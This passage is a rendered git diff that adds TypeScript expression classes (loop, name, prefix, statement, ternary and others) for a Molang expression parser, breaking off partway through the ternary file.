									`${(<NameExpression>this.name).toString()} is not callable!`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							return func(...args)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							let str = `${this.name.toString()}(`
 | 
				
			||||||
 | 
							for (let i = 0; i < this.args.length; i++) {
 | 
				
			||||||
 | 
								str += `${this.args[i].toString()}${
 | 
				
			||||||
 | 
									i + 1 < this.args.length ? ',' : ''
 | 
				
			||||||
 | 
								}`
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return `${str})`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										37
									
								
								packages/molang/src/parser/expressions/genericOperator.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										37
									
								
								packages/molang/src/parser/expressions/genericOperator.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,37 @@
 | 
				
			|||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class GenericOperatorExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'GenericOperatorExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							protected left: IExpression,
 | 
				
			||||||
 | 
							protected right: IExpression,
 | 
				
			||||||
 | 
							protected operator: string,
 | 
				
			||||||
 | 
							protected evalHelper: (
 | 
				
			||||||
 | 
								leftExpression: IExpression,
 | 
				
			||||||
 | 
								rightExpression: IExpression
 | 
				
			||||||
 | 
							) => unknown
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.left, this.right]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: IExpression) {
 | 
				
			||||||
 | 
							if (index === 0) this.left = expr
 | 
				
			||||||
 | 
							else if (index === 1) this.right = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return this.left.isStatic() && this.right.isStatic()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return this.evalHelper(this.left, this.right)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return `${this.left.toString()}${this.operator}${this.right.toString()}`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										38
									
								
								packages/molang/src/parser/expressions/group.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										38
									
								
								packages/molang/src/parser/expressions/group.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,38 @@
 | 
				
			|||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class GroupExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'GroupExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(protected expression: IExpression, protected brackets: string) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.expression]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(_: number, expr: IExpression) {
 | 
				
			||||||
 | 
							this.expression = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return this.expression.isStatic()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						get isReturn() {
 | 
				
			||||||
 | 
							return this.expression.isReturn
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						get isBreak() {
 | 
				
			||||||
 | 
							return this.expression.isBreak
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						get isContinue() {
 | 
				
			||||||
 | 
							return this.expression.isContinue
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return this.expression.eval()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return `${this.brackets[0]}${this.expression.toString()}${
 | 
				
			||||||
 | 
								this.brackets[1]
 | 
				
			||||||
 | 
							}`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										19
									
								
								packages/molang/src/parser/expressions/index.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										19
									
								
								packages/molang/src/parser/expressions/index.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,19 @@
 | 
				
			|||||||
 | 
					export { ArrayAccessExpression } from './arrayAccess'
 | 
				
			||||||
 | 
					export { BooleanExpression } from './boolean'
 | 
				
			||||||
 | 
					export { BreakExpression } from './break'
 | 
				
			||||||
 | 
					export { ContinueExpression } from './continue'
 | 
				
			||||||
 | 
					export { ForEachExpression } from './forEach'
 | 
				
			||||||
 | 
					export { FunctionExpression } from './function'
 | 
				
			||||||
 | 
					export { GenericOperatorExpression } from './genericOperator'
 | 
				
			||||||
 | 
					export { GroupExpression } from './group'
 | 
				
			||||||
 | 
					export { LoopExpression } from './loop'
 | 
				
			||||||
 | 
					export { NameExpression } from './name'
 | 
				
			||||||
 | 
					export { NumberExpression } from './number'
 | 
				
			||||||
 | 
					export { PostfixExpression } from './postfix'
 | 
				
			||||||
 | 
					export { PrefixExpression } from './prefix'
 | 
				
			||||||
 | 
					export { ReturnExpression } from './return'
 | 
				
			||||||
 | 
					export { StatementExpression } from './statement'
 | 
				
			||||||
 | 
					export { StaticExpression } from './static'
 | 
				
			||||||
 | 
					export { StringExpression } from './string'
 | 
				
			||||||
 | 
					export { TernaryExpression } from './ternary'
 | 
				
			||||||
 | 
					export { VoidExpression } from './void'
 | 
				
			||||||
							
								
								
									
										56
									
								
								packages/molang/src/parser/expressions/loop.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										56
									
								
								packages/molang/src/parser/expressions/loop.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,56 @@
 | 
				
			|||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class LoopExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'LoopExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							protected count: IExpression,
 | 
				
			||||||
 | 
							protected expression: IExpression
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.count, this.expression]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: IExpression) {
 | 
				
			||||||
 | 
							if (index === 0) this.count = expr
 | 
				
			||||||
 | 
							else if (index === 1) this.expression = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get isReturn() {
 | 
				
			||||||
 | 
							return this.expression.isReturn
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return this.count.isStatic() && this.expression.isStatic()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							const repeatCount = Number(this.count.eval())
 | 
				
			||||||
 | 
							if (Number.isNaN(repeatCount))
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`First loop() argument must be of type number, received "${typeof this.count.eval()}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							if (repeatCount > 1024)
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`Cannot loop more than 1024x times, received "${repeatCount}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							let i = 0
 | 
				
			||||||
 | 
							while (i < repeatCount) {
 | 
				
			||||||
 | 
								i++
 | 
				
			||||||
 | 
								const res = this.expression.eval()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (this.expression.isBreak) break
 | 
				
			||||||
 | 
								else if (this.expression.isContinue) continue
 | 
				
			||||||
 | 
								else if (this.expression.isReturn) return res
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return `loop(${this.count.toString()},${this.expression.toString()})`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										47
									
								
								packages/molang/src/parser/expressions/name.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										47
									
								
								packages/molang/src/parser/expressions/name.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,47 @@
 | 
				
			|||||||
 | 
					import { ExecutionEnvironment } from '../../env/env'
 | 
				
			||||||
 | 
					import { Expression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class NameExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'NameExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							public executionEnv: ExecutionEnvironment,
 | 
				
			||||||
 | 
							protected name: string,
 | 
				
			||||||
 | 
							protected isFunctionCall = false
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt() {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						setPointer(value: unknown) {
 | 
				
			||||||
 | 
							this.executionEnv.setAt(this.name, value)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						setFunctionCall(value = true) {
 | 
				
			||||||
 | 
							this.isFunctionCall = value
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setName(name: string) {
 | 
				
			||||||
 | 
							this.name = name
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExecutionEnv(executionEnv: ExecutionEnvironment) {
 | 
				
			||||||
 | 
							this.executionEnv = executionEnv
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							const value = this.executionEnv.getFrom(this.name)
 | 
				
			||||||
 | 
							if (!this.isFunctionCall && typeof value === 'function') return value()
 | 
				
			||||||
 | 
							return value
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return this.name
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										25
									
								
								packages/molang/src/parser/expressions/number.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										25
									
								
								packages/molang/src/parser/expressions/number.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,25 @@
 | 
				
			|||||||
 | 
					import { Expression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class NumberExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'NumberExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(protected value: number) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt() {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return true
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return this.value
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return '' + this.value
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										32
									
								
								packages/molang/src/parser/expressions/postfix.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										32
									
								
								packages/molang/src/parser/expressions/postfix.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,32 @@
 | 
				
			|||||||
 | 
					import { TTokenType } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class PostfixExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'PostfixExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							protected expression: IExpression,
 | 
				
			||||||
 | 
							protected tokenType: TTokenType
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.expression]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(_: number, expr: IExpression) {
 | 
				
			||||||
 | 
							this.expression = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return this.expression.isStatic()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							switch (this.tokenType) {
 | 
				
			||||||
 | 
								case 'X': {
 | 
				
			||||||
 | 
									// DO SOMETHING
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										57
									
								
								packages/molang/src/parser/expressions/prefix.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										57
									
								
								packages/molang/src/parser/expressions/prefix.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,57 @@
 | 
				
			|||||||
 | 
					import { TTokenType } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class PrefixExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'PrefixExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							protected tokenType: TTokenType,
 | 
				
			||||||
 | 
							protected expression: IExpression
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.expression]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(_: number, expr: IExpression) {
 | 
				
			||||||
 | 
							this.expression = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return this.expression.isStatic()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							const value = this.expression.eval()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (typeof value !== 'number')
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`Cannot use "${
 | 
				
			||||||
 | 
										this.tokenType
 | 
				
			||||||
 | 
									}" operator in front of ${typeof value} "${value}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							switch (this.tokenType) {
 | 
				
			||||||
 | 
								case 'MINUS': {
 | 
				
			||||||
 | 
									return -value
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								case 'BANG': {
 | 
				
			||||||
 | 
									return !value
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							switch (this.tokenType) {
 | 
				
			||||||
 | 
								case 'MINUS': {
 | 
				
			||||||
 | 
									return `-${this.expression.toString()}`
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								case 'BANG': {
 | 
				
			||||||
 | 
									return `!${this.expression.toString()}`
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							throw new Error(`Unknown prefix operator: "${this.tokenType}"`)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										29
									
								
								packages/molang/src/parser/expressions/return.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										29
									
								
								packages/molang/src/parser/expressions/return.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,29 @@
 | 
				
			|||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ReturnExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'ReturnExpression'
 | 
				
			||||||
 | 
						isReturn = true
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(protected expression: IExpression) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return [this.expression]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(_: number, expr: IExpression) {
 | 
				
			||||||
 | 
							this.expression = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return this.expression.eval()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return `return ${this.expression.toString()}`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										102
									
								
								packages/molang/src/parser/expressions/statement.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										102
									
								
								packages/molang/src/parser/expressions/statement.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,102 @@
 | 
				
			|||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { StaticExpression } from './static'
 | 
				
			||||||
 | 
					import { VoidExpression } from './void'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class StatementExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'StatementExpression'
 | 
				
			||||||
 | 
						protected didReturn?: boolean = undefined
 | 
				
			||||||
 | 
						protected wasLoopBroken = false
 | 
				
			||||||
 | 
						protected wasLoopContinued = false
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(protected expressions: IExpression[]) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return this.expressions
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: IExpression) {
 | 
				
			||||||
 | 
							this.expressions[index] = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get isReturn() {
 | 
				
			||||||
 | 
							if (this.didReturn !== undefined) return this.didReturn
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							// This breaks scope vs. statement parsing for some reason
 | 
				
			||||||
 | 
							let i = 0
 | 
				
			||||||
 | 
							while (i < this.expressions.length) {
 | 
				
			||||||
 | 
								const expr = this.expressions[i]
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (expr.isBreak) return false
 | 
				
			||||||
 | 
								if (expr.isContinue) return false
 | 
				
			||||||
 | 
								if (expr.isReturn) {
 | 
				
			||||||
 | 
									this.didReturn = true
 | 
				
			||||||
 | 
									return true
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								i++
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							this.didReturn = false
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get isBreak() {
 | 
				
			||||||
 | 
							if (this.wasLoopBroken) {
 | 
				
			||||||
 | 
								this.wasLoopBroken = false
 | 
				
			||||||
 | 
								return true
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						get isContinue() {
 | 
				
			||||||
 | 
							if (this.wasLoopContinued) {
 | 
				
			||||||
 | 
								this.wasLoopContinued = false
 | 
				
			||||||
 | 
								return true
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							return false
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							let i = 0
 | 
				
			||||||
 | 
							while (i < this.expressions.length) {
 | 
				
			||||||
 | 
								if (!this.expressions[i].isStatic()) return false
 | 
				
			||||||
 | 
								i++
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							return true
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							this.didReturn = false
 | 
				
			||||||
 | 
							this.wasLoopBroken = false
 | 
				
			||||||
 | 
							this.wasLoopContinued = false
 | 
				
			||||||
 | 
							let i = 0
 | 
				
			||||||
 | 
							while (i < this.expressions.length) {
 | 
				
			||||||
 | 
								let res = this.expressions[i].eval()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								if (this.expressions[i].isReturn) {
 | 
				
			||||||
 | 
									this.didReturn = true
 | 
				
			||||||
 | 
									return res
 | 
				
			||||||
 | 
								} else if (this.expressions[i].isContinue) {
 | 
				
			||||||
 | 
									this.wasLoopContinued = true
 | 
				
			||||||
 | 
									return
 | 
				
			||||||
 | 
								} else if (this.expressions[i].isBreak) {
 | 
				
			||||||
 | 
									this.wasLoopBroken = true
 | 
				
			||||||
 | 
									return
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
								i++
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
							return 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							let str = ''
 | 
				
			||||||
 | 
							for (const expr of this.expressions) {
 | 
				
			||||||
 | 
								if (
 | 
				
			||||||
 | 
									expr instanceof VoidExpression ||
 | 
				
			||||||
 | 
									(expr instanceof StaticExpression && !expr.isReturn)
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
									continue
 | 
				
			||||||
 | 
								str += `${expr.toString()};`
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return str
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										28
									
								
								packages/molang/src/parser/expressions/static.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										28
									
								
								packages/molang/src/parser/expressions/static.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,28 @@
 | 
				
			|||||||
 | 
					import { Expression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class StaticExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'StaticExpression'
 | 
				
			||||||
 | 
						constructor(protected value: unknown, public readonly isReturn = false) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt() {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return true
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return this.value
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							let val = this.value
 | 
				
			||||||
 | 
							if (typeof val === 'string') val = `'${val}'`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (this.isReturn) return `return ${val}`
 | 
				
			||||||
 | 
							return '' + val
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										26
									
								
								packages/molang/src/parser/expressions/string.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										26
									
								
								packages/molang/src/parser/expressions/string.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,26 @@
 | 
				
			|||||||
 | 
					import { Expression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class StringExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'StringExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(protected name: string) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt() {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return true
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return this.name.substring(1, this.name.length - 1)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return this.name
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										79
									
								
								packages/molang/src/parser/expressions/ternary.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										79
									
								
								packages/molang/src/parser/expressions/ternary.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,79 @@
 | 
				
			|||||||
 | 
					import { Expression, IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { VoidExpression } from './void'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class TernaryExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'TernaryExpression'
 | 
				
			||||||
 | 
						protected leftResult: unknown
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							protected leftExpression: IExpression,
 | 
				
			||||||
 | 
							protected thenExpression: IExpression,
 | 
				
			||||||
 | 
							protected elseExpression: IExpression
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							super()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							if (this.leftExpression.isStatic())
 | 
				
			||||||
 | 
								return [
 | 
				
			||||||
 | 
									this.leftExpression,
 | 
				
			||||||
 | 
									this.leftExpression.eval()
 | 
				
			||||||
 | 
										? this.thenExpression
 | 
				
			||||||
 | 
										: this.elseExpression,
 | 
				
			||||||
 | 
								]
 | 
				
			||||||
 | 
							return [this.leftExpression, this.thenExpression, this.elseExpression]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt(index: number, expr: IExpression) {
 | 
				
			||||||
 | 
							if (index === 0) this.leftExpression = expr
 | 
				
			||||||
 | 
							else if (index === 1) this.thenExpression = expr
 | 
				
			||||||
 | 
							else if (index === 2) this.elseExpression = expr
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get isReturn() {
 | 
				
			||||||
 | 
							if (this.leftResult === undefined)
 | 
				
			||||||
 | 
								return this.thenExpression.isReturn && this.elseExpression.isReturn
 | 
				
			||||||
 | 
							return this.leftResult
 | 
				
			||||||
 | 
								? this.thenExpression.isReturn
 | 
				
			||||||
 | 
								: this.elseExpression.isReturn
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						get hasReturn() {
 | 
				
			||||||
